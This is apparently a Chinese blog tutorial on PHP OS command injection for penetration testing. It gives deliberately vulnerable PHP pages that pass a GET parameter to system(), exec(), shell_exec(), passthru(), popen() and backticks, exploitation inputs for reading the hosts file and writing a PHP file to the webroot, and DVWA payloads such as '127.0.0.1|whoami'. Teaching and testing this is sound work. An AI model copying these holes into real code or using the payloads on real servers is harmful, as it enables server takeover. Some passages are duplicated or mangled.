2022渗透测试-命令执行漏洞的详细讲解

简介: 渗透测试-命令执行漏洞的详细讲解

命令执行

原理以及成因

程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。  应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞 。  1. 用户输入作为拼接  2. 没有足够的过滤

漏洞危害

1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令

   2. 继承Web 服务器权限,读写文件

   3. 反弹Shell

   4. 控制整个网站

   5. 控制整个服务器

相关函数

    • system()
      system() 能够将字符串作为OS 命令执行,自带输出功能。测试代码如下

    <?php

    header("Content-type: text/html; charset=gb2312");

    if(isset($_GET['cmd'])){

       echo "<pre>";

       system($_GET['cmd']);

    }else{

       echo"

       ?cmd=ipconfig

       ";

    }

    ?>

    image.gif编辑

      • exec()
        exec() 函数能将字符串作为OS 命令执行,需要输出执行结果。测试代码如下 ----exec.php

      <?php

      <meta charset="gb2312">

      <?php

      if(isset($_GET['cmd'])){

         echo "<pre>";

         print exec($_GET['cmd']);

      }else{

         echo"

         ?cmd=whoami

         ";

      }

      ?>

      <meta charset="gb2312"> <?php if(isset($_GET['cmd'])){ echo "<pre>"; print exec($_GET['cmd']); }else{ echo" ?cmd=whoami "; } ?> ---- ### shell_exec() 测试代码如下

      <?php

      echo "<pre>";

      header("Content-type: text/html; charset=gb2312");

      if(isset($_GET['cmd'])){

         print shell_exec($_GET['cmd']);

      }else{

         echo"?cmd=whoami";

      }

      ?>

      image.gif编辑


        • passthru()
          测试代码如下 ----passthru.php

        <?php

        if(isset($_GET['cmd'])){

        passthru($_GET['cmd']);

        }else{

        echo"?cmd=whoami";

        }

        ?>


          • popen()
            popen() 也能够执行OS 命令,但是该函数并回是返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令执行了。 测试代码如下 ----popen.php

          <?php

          if(isset($_GET['cmd'])){

          $cmd=$_GET['cmd'].">> 1.txt";

          popen($cmd,'r');

          }else{

          echo"?cmd=whoami";

          }

          ?>


          查看1.txt 文件

          image.gif编辑

          image.gif编辑

            • 反引号
              反引号[``] 内的字符串,也会被解析成OS 命令。 测试代码如下

            <?php

            if(isset($_GET['cmd'])){

               $cmd=$_GET['cmd'];

               print `$cmd`;

            }else{

               echo"?cmd=whoami";

            }

            ?>

            漏洞利用

            OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

              • 查看系统文件 提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。
                image.gif编辑
              • 显示当前路径 提交参数[?cmd=cd]
                image.gif编辑
              • 写文件

              提交参数

              [?cmd=echo "<?php phpinfo();?>" > D:\ruanjian\phpstudy\phpstudy_pro\WWW\minlingzhuru]页面没有报错,说明文件写入成功。访问shell.php 文件。

              • 提交参数[?cmd=echo "<?php phpinfo();?>" > D:\ruanjian\phpstudy\phpstudy_pro\WWW\minlingzhuru]
                页面没有报错,说明文件写入成功。访问shell.php 文件。

              防御方法

              1. 尽量减少命令执行函数的使用,并在disable_functions 中禁用  2. 在进入命令执行的函数或方法之前,对参数进行过滤  3. 参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义

              DVWA 命令注入

              low 127.0.0.1| whoami 127.0.0.1|whoami 127.0.0.1&&whoami 127.0.0.1;whoami ? 127.0.0.0.1||whoami medium 127.0.0.1| whoami 127.0.0.1|whoami 127.0.0.0.1||whoami 127.0.0.1&&&&whoami x

              high

              相关文章
              |
              5月前
              |
              安全 NoSQL Shell
              web渗透-SSRF漏洞及discuz论坛网站测试
              SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
              310 1
              web渗透-SSRF漏洞及discuz论坛网站测试
              |
              8月前
              |
              测试技术 程序员 Go
              Go语言测试简明指南:深度解读go test命令
              总的来说,go test是 Go 语言中一个强而有力的工具,每个 Go 程序员都应该掌握并把它融入到日常的开发和调试过程中。就像是一个眼镜过滤出的太阳,让我们在宽阔的代码海洋中游泳,而不是淹没。用好它,让我们的代码更健壮,让我们的生产力更强效。
              613 23
              |
              9月前
              |
              安全 前端开发 Linux
              Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
              Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
              256 3
              Immunity CANVAS Professional 7.27 (macOS, Linux, Windows) - 渗透测试和漏洞利用平台
              |
              8月前
              |
              弹性计算 JavaScript Ubuntu
              WebSocket协议相关的测试命令工具使用简介
              本文介绍了针对WebSocket的测试工具wscat和websocat的基本使用方法,以及通过curl命令测试HTTP/HTTPS协议的方式。对于WebSocket,直接使用curl测试较为复杂,推荐使用wscat或websocat。文中详细说明了这两种工具的安装步骤、常用参数及连接示例,例如在ECS上开启8080端口监听并进行消息收发测试。此外,还提供了curl命令的手动设置头部信息以模拟WebSocket握手的示例,但指出curl仅能作为客户端测试工具,无法模拟服务器。
              2405 4
              |
              11月前
              |
              网络协议 Shell 网络安全
              面试官想听的不仅是命令——如何结构化回答“容器无Shell时如何测试外网”?
              “说说看,如果一个Pod的容器没有Shell,如何测试它能否访问外网?”
              面试官想听的不仅是命令——如何结构化回答“容器无Shell时如何测试外网”?
              |
              弹性计算 安全 Linux
              阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
              阿里云国际版使用ping命令测试ECS云服务器不通的排查方法
              |
              分布式计算 监控 Hadoop
              Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
              Hadoop-29 ZooKeeper集群 Watcher机制 工作原理 与 ZK基本命令 测试集群效果 3台公网云服务器
              274 1
              |
              安全 程序员 网络安全
              Kali渗透测试:对软件的溢出漏洞进行测试
              Kali渗透测试:对软件的溢出漏洞进行测试
              217 1
              |
              安全 Java 应用服务中间件
              渗透测试-JBoss 5.x/6.x反序列化漏洞
              渗透测试-JBoss 5.x/6.x反序列化漏洞
              285 14
              |
              安全 测试技术 Linux
              CentOS7 安装vulhub漏洞测试环境
              CentOS7 安装vulhub漏洞测试环境
              706 0